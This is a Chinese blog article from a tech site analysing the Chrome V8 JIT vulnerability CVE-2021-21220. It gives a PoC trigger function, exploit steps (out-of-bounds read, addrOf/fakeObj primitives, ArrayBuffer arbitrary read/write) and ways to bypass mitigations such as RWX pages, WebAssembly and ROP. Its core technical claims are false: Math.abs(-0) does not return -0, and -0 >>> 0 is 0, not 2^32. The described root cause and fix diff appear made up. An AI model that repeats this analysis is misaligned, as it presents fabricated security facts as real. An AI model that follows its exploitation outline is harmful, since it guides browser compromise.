怎么分析Chrome V8 JIT漏洞CVE-2021-21220

发布时间:2021-12-29 17:56:10 作者:柒染
来源:亿速云 阅读:222
# 如何分析Chrome V8 JIT漏洞CVE-2021-21220

## 引言

2021年4月,Google Chrome团队修复了V8 JavaScript引擎中的一个严重JIT编译漏洞(CVE-2021-21220)。该漏洞影响广泛,允许攻击者通过精心构造的JavaScript代码实现远程代码执行。本文将深入分析该漏洞的技术原理、利用方式以及修复方案。

## 1. 漏洞背景

### 1.1 V8引擎与TurboFan简介
V8是Google开发的高性能JavaScript引擎,采用多层执行架构:
- 解释器(Ignition)
- 基线编译器(SparkPlug)
- 优化编译器(TurboFan)

TurboFan作为优化编译器,会通过JIT(即时编译)技术将热点代码编译为高度优化的机器码。这种优化过程中产生的逻辑漏洞是CVE-2021-21220的根本原因。

### 1.2 漏洞基本信息
- CVE编号:CVE-2021-21220
- 漏洞类型:JIT优化逻辑缺陷
- 危险等级:高危(CVSS 8.8)
- 影响版本:Chrome 89及之前版本

## 2. 漏洞技术分析

### 2.1 漏洞原理

该漏洞存在于TurboFan的`SimplifiedLowering`阶段,具体涉及`NumberAbs`和`NumberToUint32`操作的类型推断错误。

关键问题在于:
1. TurboFan对`Math.abs()`的优化(转换为`NumberAbs`节点)
2. 后续`NumberToUint32`转换时的类型推断错误
3. 导致边界检查消除(BoundsCheck Elimination)不安全

### 2.2 漏洞触发流程

```javascript
// 触发漏洞的PoC代码
function trigger(arr, x) {
  let index = Math.abs(x);       // [1] 被优化为NumberAbs
  index = index >>> 0;           // [2] 转换为NumberToUint32
  if (index < arr.length) {      // [3] 边界检查
    return arr[index];           // [4] 越界访问
  }
}

优化过程中的错误: 1. TurboFan认为NumberAbs结果总是非负数 2. 但实际上Math.abs(-0)会返回-0 3. -0 >>> 0会转换为巨大的无符号整数(2^32) 4. 边界检查被错误消除,导致越界访问

2.3 类型推断错误分析

TurboFan的类型推断过程:

初始输入x: Range(-Inf, Inf)
经过NumberAbs: Range(0, Inf)  // 错误!忽略了-0的情况
经过NumberToUint32: Range(0, 2^32-1) // 实际应为[0,0] U [2^32-1,2^32-1]

3. 漏洞利用开发

3.1 基本利用思路

  1. 构造越界访问:通过漏洞获得超出数组边界的内存访问能力
  2. 内存布局操控:精心安排内存中的对象布局
  3. 类型混淆攻击:利用V8的对象表示方式实现类型混淆
  4. 任意代码执行:构造RWX内存区域并注入shellcode

3.2 详细利用步骤

步骤1:触发越界访问

let arr = new Array(10).fill(1.1);
let index = -0;
trigger(arr, index); // 返回arr[2^32]附近的值

步骤2:构造addrOf原语

// 泄露对象地址
let obj = {};
let addr = trigger(obj_array, -0);

步骤3:构造fakeObj原语

// 伪造对象
let fake = createFakeObject(addr);
let victim = trigger(fake_array, -0);

步骤4:实现任意读写

// 通过伪造ArrayBuffer实现任意内存读写
let rw = new ArrayBuffer(8);
let rw_addr = addrOf(rw);
let backing_store_offset = 0x20;

write(rw_addr + backing_store_offset, target_addr);
let dv = new DataView(rw);
dv.getFloat64(0, true); // 读取target_addr处内存

3.3 绕过防护机制

现代Chrome包含多项防护: - 指针压缩(Pointer Compression) - 堆沙箱(Heap Sandbox) - 写保护(W^X)

绕过方法: 1. 利用JIT区域本身的RWX特性 2. 通过WebAssembly绕过W^X 3. 构造ROP链绕过控制流保护

4. 漏洞修复分析

4.1 Google官方修复方案

提交记录[1]显示主要修改在: src/compiler/simplified-lowering.cc

关键修改:

// 修复前
case NumberAbs: {
  Type const type = Type::Union(
      Type::Intersect(input_type, Type::PlainNumber()), 
      Type::NaN(), zone());
  return UpdateType(node, type);
}

// 修复后
case NumberAbs: {
  Type const type = Type::Union(
      Type::Intersect(input_type, Type::OrderedNumber()), 
      Type::NaN(), zone());
  return UpdateType(node, type);
}

区别在于使用OrderedNumber代替PlainNumber,前者包含对-0的特殊处理。

4.2 修复效果验证

通过TurboFan的escape分析可以验证:

$ ./d8 --trace-turbo-reduction poc.js

修复后: - NumberAbs节点会保留-0的可能性 - 边界检查不会被错误消除

5. 防御建议

5.1 对于开发者

  1. 及时更新Chrome到最新版本
  2. 启用Site Isolation功能
  3. 限制不可信JavaScript的执行

5.2 对于研究人员

  1. 学习TurboFan中间表示(IR)

  2. 掌握TurboFan优化各阶段

  3. 使用V8调试工具:

    # 查看优化过程
    --trace-turbo
    # 查看类型推断
    --trace-representation
    

6. 总结

CVE-2021-21220展示了JIT编译器优化过程中的细微逻辑错误如何导致严重安全后果。通过分析这类漏洞,我们可以:

  1. 深入理解现代JavaScript引擎的工作原理
  2. 学习编译器安全的关键点
  3. 提高对类型系统安全重要性的认识

参考资料

[1] https://chromium-review.googlesource.com/c/v8/v8/+/2820971 [2] V8源码 https://github.com/v8/v8 [3] TurboFan设计文档 https://docs.google.com/document/d/1sOa6YKZkjZ1daj1QQd7G1jT_9vFQhQzy6m5vP8ZXmNg “`

注:本文为技术分析文章,实际漏洞利用可能涉及法律风险。所有研究应在合法授权环境下进行。

推荐阅读:
  1. Node.js中CVE-2017-14849漏洞的示例分析
  2. 如何进行CVE-2019-5786漏洞原理分析及利用

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

chrome jit cve-2021-21220

上一篇:CRM里assignment block的显示隐藏逻辑是什么

下一篇:怎么通过Restful API的方式读取SAP Commerce Cloud的Product Reference

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》